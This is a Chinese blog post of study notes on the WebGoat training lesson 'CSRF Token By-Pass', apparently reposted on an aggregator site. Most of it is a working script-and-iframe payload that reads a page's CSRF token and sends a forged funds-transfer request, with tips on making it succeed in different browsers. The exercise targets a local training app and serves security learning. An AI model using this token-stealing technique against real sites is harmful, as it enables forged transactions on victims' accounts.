WebGoat学习笔记(五)——CSRF Token By-Pass
来源:互联网 发布:巫启贤 唱功知乎 编辑:程序博客网 时间:2024/04/19 19:00
题目:
最后成功的Message内容:
<script language="javascript" type="text/javascript">
function modify()
{
var FrameDoc=document.getElementById("frame1").contentDocument;
var Form=FrameDoc.getElementsByTagName("form")[1];
var token=Form.CSRFToken.value;
var tokenstr="&CSRFToken="+token;
var testFrame=document.getElementById("frame2");
testFrame.src="http://localhost:8080/webgoat/attack?Screen=610&menu=900&transferFunds=4000"+tokenstr;
}
</script>
<iframe id="frame1" frameborder="1" marginwidth="0" marginheight="0" src="http://localhost:8080/webgoat/attack?
Screen=610&menu=900&transferFunds=main" onload="modify();" height="500" width="800" scrolling="yes" ></iframe>
<iframe id="frame2" frameborder="1" marginwidth="0" marginheight="0" height="500" width="800" scrolling="yes" ></iframe>
需要注意的几点:
1、FrameDoc.getElementsByTagName("form")[1],要注意CSRFToken所在的form标签的索引值,只有在上一个form标签闭合了之后,下一个form的索引才加1。
2、注意iframe标签的闭合方式,文中的这种方式在FF和IE下都可以成功,但是如果换成“/>”的闭合方式,在FF下是不能攻击成功的,具体的原因另一篇有提到。
最后产生的效果:
当前页面请求: http://localhost:8080/webgoat/attack,并通过JS脚本偷得CSRFToken的值,形成第二个iFrame的src:http://localhost:8080/webgoat/attackScreen=610&menu=900&transferFunds=4000&CSRFToken=XXXX?Screen=610&menu=900&transferFunds=main
并发出请求,从而绕过认证,成功执行。
- WebGoat学习笔记(五)——CSRF Token By-Pass
- WebGoat——CSRF
- WebGoat学习——跨站请求伪造(Cross Site Request Forgery (CSRF))
- OWASP WebGoat---安全测试学习笔记(五)---缓冲区溢出
- WebGoat学习笔记(一)——HTTP Splitting
- WebGoat学习笔记(二)——JASON Injection
- WebGoat学习笔记(三)——Code Quality
- WebGoat学习笔记(四)——Phishing with XSS
- WebGoat学习笔记(七)——Command Injection
- WebGoat学习笔记(八)——Insecure Communication
- 宁以pass-by-reference-to-const替换pass-by-value——effective c++学习笔记
- WebGoat学习笔记(六)——Cross Site Tracing(XST) Attacks
- python学习笔记——pass del
- [C++学习] effective c++ 笔记 pass by value ,pass by reference
- 【WebGoat 学习笔记】--2.安装
- 【WebGoat笔记】之五 --- Injection Flaws
- 【WebGoat笔记】之五 --- Injection Flaws
- OWASP WebGoat---安全测试学习笔记(一)
- 三星galaxy tab
- STL (Standard Template Library)标准模板库 C++
- vs2008 添加方法 脚本错误 此网站的某个加载项运行失败
- 2010年11月18日起制定的计划
- sap abap 查找增强的程序
- WebGoat学习笔记(五)——CSRF Token By-Pass
- 销售订单增强MV45AFZZ
- 第一次写makefile就悲剧了
- EXCEL函数教程大全
- as3跨域加载图片时设置LoaderContext类
- CSS在html页完全正常,到aspx页显示不正常
- perl 二维数组排序
- 常见的abap面试题目,请大家对照学习
- 使用fedora的问题